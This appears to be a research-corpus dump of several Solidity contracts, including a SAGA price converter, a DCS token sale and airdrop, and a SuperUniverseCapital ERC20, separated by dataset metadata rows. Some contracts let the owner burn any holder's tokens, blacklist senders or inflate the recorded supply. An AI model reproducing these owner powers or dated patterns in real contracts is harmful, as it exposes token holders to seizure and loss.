bytes32 internal constant _ISagaExchanger_ = "ISagaExchanger" ;
bytes32 internal constant _IMonetaryModel_ = "IMonetaryModel" ;
bytes32 internal constant _IMonetaryModelState_ = "IMonetaryModelState" ;
bytes32 internal constant _ISGAAuthorizationManager_ = "ISGAAuthorizationManager";
bytes32 internal constant _ISGAToken_ = "ISGAToken" ;
bytes32 internal constant _ISGATokenManager_ = "ISGATokenManager" ;
bytes32 internal constant _ISGNAuthorizationManager_ = "ISGNAuthorizationManager";
bytes32 internal constant _ISGNToken_ = "ISGNToken" ;
bytes32 internal constant _ISGNTokenManager_ = "ISGNTokenManager" ;
bytes32 internal constant _IMintingPointTimersManager_ = "IMintingPointTimersManager" ;
bytes32 internal constant _ITradingClasses_ = "ITradingClasses" ;
bytes32 internal constant _IWalletsTradingLimiterValueConverter_ = "IWalletsTLValueConverter" ;
bytes32 internal constant _IWalletsTradingDataSource_ = "IWalletsTradingDataSource" ;
bytes32 internal constant _WalletsTradingLimiter_SGNTokenManager_ = "WalletsTLSGNTokenManager" ;
bytes32 internal constant _WalletsTradingLimiter_SGATokenManager_ = "WalletsTLSGATokenManager" ;
bytes32 internal constant _IETHConverter_ = "IETHConverter" ;
bytes32 internal constant _ITransactionLimiter_ = "ITransactionLimiter" ;
bytes32 internal constant _ITransactionManager_ = "ITransactionManager" ;
bytes32 internal constant _IRateApprover_ = "IRateApprover" ;
IContractAddressLocator private contractAddressLocator;
constructor(IContractAddressLocator _contractAddressLocator) internal {
require(_contractAddressLocator != address(0), "locator is illegal");
contractAddressLocator = _contractAddressLocator;
}
function getContractAddressLocator() external view returns (IContractAddressLocator) {
return contractAddressLocator;
}
function getContractAddress(bytes32 _identifier) internal view returns (address) {
return contractAddressLocator.getContractAddress(_identifier);
}
function isSenderAddressRelates(bytes32[] _identifiers) internal view returns (bool) {
return contractAddressLocator.isContractAddressRelates(msg.sender, _identifiers);
}
modifier only(bytes32 _identifier) {
require(msg.sender == getContractAddress(_identifier), "caller is illegal");
_;
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: contracts/saga/ETHConverter.sol
contract ETHConverter is IETHConverter, ContractAddressLocatorHolder, Adminable {
string public constant VERSION = "1.0.0";
using SafeMath for uint256;
uint256 public constant MAX_RESOLUTION = 0x10000000000000000;
uint256 public sequenceNum = 0;
uint256 public highPriceN = 0;
uint256 public highPriceD = 0;
uint256 public lowPriceN = 0;
uint256 public lowPriceD = 0;
event PriceSaved(uint256 _highPriceN, uint256 _highPriceD, uint256 _lowPriceN, uint256 _lowPriceD);
event PriceNotSaved(uint256 _highPriceN, uint256 _highPriceD, uint256 _lowPriceN, uint256 _lowPriceD);
constructor(IContractAddressLocator _contractAddressLocator) ContractAddressLocatorHolder(_contractAddressLocator) public {}
function getTransactionLimiter() public view returns (ITransactionLimiter) {
return ITransactionLimiter(getContractAddress(_ITransactionLimiter_));
}
function getRateApprover() public view returns (IRateApprover) {
return IRateApprover(getContractAddress(_IRateApprover_));
}
modifier onlyIfHighPriceSet() {
assert(highPriceN > 0 && highPriceD > 0);
_;
}
modifier onlyIfLowPriceSet() {
assert(lowPriceN > 0 && lowPriceD > 0);
_;
}
function setPrice(uint256 _sequenceNum, uint256 _highPriceN, uint256 _highPriceD, uint256 _lowPriceN, uint256 _lowPriceD) external onlyAdmin {
require(1 <= _highPriceN && _highPriceN <= MAX_RESOLUTION, "high price numerator is out of range");
require(1 <= _highPriceD && _highPriceD <= MAX_RESOLUTION, "high price denominator is out of range");
require(1 <= _lowPriceN && _lowPriceN <= MAX_RESOLUTION, "low price numerator is out of range");
require(1 <= _lowPriceD && _lowPriceD <= MAX_RESOLUTION, "low price denominator is out of range");
require(_highPriceN * _lowPriceD >= _highPriceD * _lowPriceN, "high price is smaller than low price");//will never overflow (MAX_RESOLUTION = 2^64)
(bool success, string memory reason) = getRateApprover().approveRate(_highPriceN, _highPriceD, _lowPriceN, _lowPriceD);
require(success, reason);
if (sequenceNum < _sequenceNum) {
sequenceNum = _sequenceNum;
highPriceN = _highPriceN;
highPriceD = _highPriceD;
lowPriceN = _lowPriceN;
lowPriceD = _lowPriceD;
getTransactionLimiter().resetTotal();
emit PriceSaved(_highPriceN, _highPriceD, _lowPriceN, _lowPriceD);
}
else {
emit PriceNotSaved(_highPriceN, _highPriceD, _lowPriceN, _lowPriceD);
}
}
function toSdrAmount(uint256 _ethAmount) external view onlyIfLowPriceSet returns (uint256) {
return _ethAmount.mul(lowPriceN) / lowPriceD;
}
function toEthAmount(uint256 _sdrAmount) external view onlyIfHighPriceSet returns (uint256) {
return _sdrAmount.mul(highPriceD) / highPriceN;
}
function fromEthAmount(uint256 _ethAmount) external view onlyIfHighPriceSet returns (uint256) {
return _ethAmount.mul(highPriceN) / highPriceD;
}
}
| 231,046 | 11,735 |
349457c8702b03b81a2967219fa10716291f3f3aa597f7e3d56369238e23450e
| 10,534 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/6353_12786_0xbded3f7537e75d6c38c036a3a788a549afde12b1.sol
| 2,736 | 10,311 |
pragma solidity ^0.4.25;
// ----------------------------------------------------------------------------
// 'DCSTOKEN
//
// NAME : DCS TOKEN
// Symbol : DCS
// Total supply: 27,000,000,000
// Decimals : 8
//
//
// -----------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DCS is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "DCS TOKEN";
string public constant symbol = "DCS";
uint public constant decimals = 8;
uint public deadline = now + 45 * 1 days;
uint public round2 = now + 35 * 1 days;
uint public round1 = now + 30 * 1 days;
uint256 public totalSupply = 27000000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 200; // 0.005 Ether
uint256 public tokensPerEth = 12000000e8;
uint public target0drop = 50000000;
uint public progress0drop = 0;
address multisig = 0xbCd7fd0624187248fc06c5F8d920386F8d5728BF;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 1000000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require(_amount > 0);
require(totalDistributed < totalSupply);
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 2;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 3 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 50 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 75 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 25 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 50 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 10000e8;
if (Claimed[investor] == false && progress0drop <= target0drop) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require(msg.value >= requestMinimum);
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if(now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require(msg.value >= requestMinimum);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
| 230,509 | 11,736 |
bc65e2a3900f54cee443ae4411148b1e2185f2bb3566dfc4852f726a0405e7fa
| 18,013 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/48/4847eb367f94dd9cdba673fa61a6c2b1f8336111_SuperUniverseCapital.sol
| 3,940 | 15,684 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SuperUniverseCapital is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
struct lockDetail{
uint256 amountToken;
uint256 lockUntil;
}
mapping (address => uint256) private _balances;
mapping (address => bool) private _blacklist;
mapping (address => bool) private _isAdmin;
mapping (address => lockDetail) private _lockInfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event PutToBlacklist(address indexed target, bool indexed status);
event LockUntil(address indexed target, uint256 indexed totalAmount, uint256 indexed dateLockUntil);
constructor (string memory name, string memory symbol, uint256 amount) {
_name = name;
_symbol = symbol;
_setupDecimals(18);
address msgSender = _msgSender();
_owner = msgSender;
_isAdmin[msgSender] = true;
_mint(msgSender, amount);
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _isAdmin[account];
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(_isAdmin[_msgSender()] == true, "Ownable: caller is not the administrator");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function promoteAdmin(address newAdmin) public virtual onlyOwner {
require(_isAdmin[newAdmin] == false, "Ownable: address is already admin");
require(newAdmin != address(0), "Ownable: new admin is the zero address");
_isAdmin[newAdmin] = true;
}
function demoteAdmin(address oldAdmin) public virtual onlyOwner {
require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin");
require(oldAdmin != address(0), "Ownable: old admin is the zero address");
_isAdmin[oldAdmin] = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function includeAccount(address account) public view returns (bool) {
return _blacklist[account];
}
function getLockInfo(address account) public view returns (uint256, uint256) {
lockDetail storage sys = _lockInfo[account];
if(block.timestamp > sys.lockUntil){
return (0,0);
}else{
return (sys.amountToken,
sys.lockUntil);
}
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address funder, address spender) public view virtual override returns (uint256) {
return _allowances[funder][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) {
_transfer(_msgSender(), recipient, amount);
_wantLock(recipient, amount, lockUntil);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){
_wantLock(targetaddress, amount, lockUntil);
return true;
}
function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){
_wantUnlock(targetaddress);
return true;
}
function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){
_burn(targetaddress, amount);
return true;
}
function includeAccountTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantblacklist(targetaddress);
return true;
}
function unincludeAccountTarget(address payable targetaddress) public onlyOwner returns (bool){
_wantunblacklist(targetaddress);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
lockDetail storage sys = _lockInfo[sender];
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_blacklist[sender] == false, "ERC20: sender address ");
_beforeTokenTransfer(sender, recipient, amount);
if(sys.amountToken > 0){
if(block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}else{
uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance");
_balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = _balances[sender].add(sys.amountToken);
_balances[recipient] = _balances[recipient].add(amount);
}
}else{
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances");
if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){
sys.lockUntil = 0;
sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 89,577 | 11,737 |
ad43786b74fbc306dd39d0efb39275da5d1264adebec1e57e705209a26a7d416
| 19,498 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/9a/9a09E0Ea2c2c37dB899f53539FF24Ca311Ad0B13_MYTOKEN.sol
| 4,599 | 18,508 |
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
